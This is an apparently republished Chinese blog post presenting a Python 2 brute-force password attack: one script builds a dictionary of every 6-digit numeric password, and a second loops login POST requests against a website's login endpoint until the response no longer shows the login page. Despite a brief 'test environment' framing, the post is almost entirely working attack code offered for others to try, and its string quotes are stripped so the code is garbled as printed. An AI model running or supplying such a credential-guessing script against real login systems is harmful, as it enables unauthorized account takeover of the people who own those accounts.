python 暴力破解密码脚本

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

首先,该网站登陆的验证要支持 无限次的密码尝试

假设testUser 的密码为 6位的纯数字

 

1:先长成 6位纯数字密码字典

import os

pds=[]


rg=range(0,10)

for first in rg:
    for second in rg:
        for three in rg:
            for four in rg:
                for five in rg:
                    for six in rg:
                        num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                        pds.append(num)



file_object = open(/Users/teso/Desktop/pwdNum6.txt, w)
file_object.writelines([%s%s % (x,os.linesep) for x in pds])
file_object.close( )

 上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

 

2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

import urllib,urllib2,HTMLParser  

#解析网页的爬虫
class OAParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.pd=[]
    def handle_data(self, data):
        #print "Encountered some data  :", data
        self.pd.append(data)

  
#暴力破解脚本
def tryLogin(name,pwd):
    parm={"loginName":name,
          "password":pwd}
    url="http://192.**.*.*/***/login/li"
    r=urllib2.urlopen(url, urllib.urlencode(parm))
    parse=OAParser()
    parse.feed(r.read())
    parse.close()
    isFind=False
    if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
        print 尝试密码,pwd,登陆失败
        isFind = False
    else:
        print user,登陆成功,password = ,pwd
        isFind=True    
    del(parse)
    
    return isFind
    


user=testUser
#password=[‘1‘,‘12‘,‘123‘,‘1234‘,‘12345‘,‘123456‘,‘12345678‘]  
fpath=/Users/teso/Desktop/pwdNum6.txt
pfile=open(fpath,r)

for onePwd in pfile.readlines():
    if tryLogin(user, onePwd[:6]):
        break;

 

流程大致如此,自行研究着玩了

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。